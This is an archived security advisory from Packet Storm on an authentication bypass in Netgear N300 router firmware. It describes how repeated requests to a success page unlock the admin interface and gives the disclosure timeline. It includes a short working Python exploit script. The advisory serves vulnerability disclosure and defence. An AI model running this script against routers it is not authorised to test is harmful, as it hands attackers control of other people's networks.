what you don't know can hurt you

Netgear N300 Authentication Bypass

Netgear N300 Authentication Bypass
Posted Oct 7, 2015
Authored by Daniel Haake

Netgear N300 routers suffer from an authentication bypass vulnerability that allows for complete compromise.

tags | exploit, bypass
MD5 | e04f5bfed49302b7f18d1a6dd458e0cc

Netgear N300 Authentication Bypass

Change Mirror Download
#############################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#############################################################
#
# Product: Netgear Router Firmware N300_1.1.0.31_1.0.1.img
# and N300-1.1.0.28_1.0.1.img
# Vendor: NETGEAR
# CVE ID: requested
# Subject: Authentication Bypass
# Risk: High
# Effect: Remotely exploitable over LAN/WLAN
# Author: Daniel Haake (daniel.haake@csnc.de)
# Date: 06.10.2015
#
#############################################################


Introduction:
-------------
Multiple NETGEAR wireless routers are out of the box vulnerable
to an authentication bypass attack. No router options has to
be changed to exploit the issue. So an attacker can access the
administration
interface of the router without submitting any valid username and
password, just by requesting a special URL several times.


Affected:
---------
- Router Firmware: N300_1.1.0.31_1.0.1.img
- Router Firmware; N300-1.1.0.28_1.0.1.img
- tested and confirmed on the WNR1000v4 Router with both firmwares
- other products may also be vulnerable because the firmware is used in
multiple devices


Technical Description:
----------------------
The attacker can exploit the issue by using a browser or writing a simple
exploit.
1. When a user wants to access the web interface, a http basic
authentication login process is initiated
2. If he does not know the username and password he gets redirected to the
401_access_denied.htm file
3. An attacker now has to call the URL
http://<ROUTER-IP>/BRS_netgear_success.html multiple times
-> After that if he can access the administration web interface and there is
no username/password prompt


Example Python script:
----------------------
import os
import urllib2
import time
import sys

try:
first = urllib2.urlopen("http://" + sys.argv[1])
print "No password protection!"
except:
print "Password protection detected!"
print "Executing exploit..."
for i in range(0,3):
time.sleep(1)
urllib2.urlopen("http://" + sys.argv[1] +
"/BRS_netgear_success.html")

second = urllib2.urlopen("http://" + sys.argv[1])
if second.getcode() == 200:
print "Bypass successfull. Now use your browser to have a
look at the admin interface."


Workaround/Fix:
---------------
None so far. A patch already fixing this vulnerability was developed by
Netgear but not released so far
(see timeline below).


Timeline:
---------
Vendor Status: works on patch-release
21.07.2015: Vendor notified per email (security@netgear.com)
-> No response
23.07.2015: Vendor notified via official chat support
24.07.2015: Support redirected notification to the technical team
29.07.2015: Requested status update and asked if they need further
assistance
-> No response
21.08.2015: Notified vendor that we will go full disclosure within 90 days
if they do not react
03.09.2015: Support again said that they will redirect it to the technical
team
03.09.2015: Netgear sent some beta firmware version to look if the
vulnerability is fixed
03.09.2015: Confirmed to Netgear that the problem is solved in this version
Asked Netgear when they plan to release the firmware with this
security fix
11.09.2015: Response from Netgear saying they will not disclose the patch
release day
15.09.2015: Asked Netgear again when they plan to publish the security fix
for the second time
-> No response
29.09.2015: Full disclosure of this vulnerability by SHELLSHOCK LABS
06.10.2015: Forced public release of this advisory to follow up on [2]


References:
-----------
[1] http://support.netgear.com/product/WNR1000v4
[2]
http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.ht
ml

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    1 Files
  • 19
    Aug 19th
    18 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close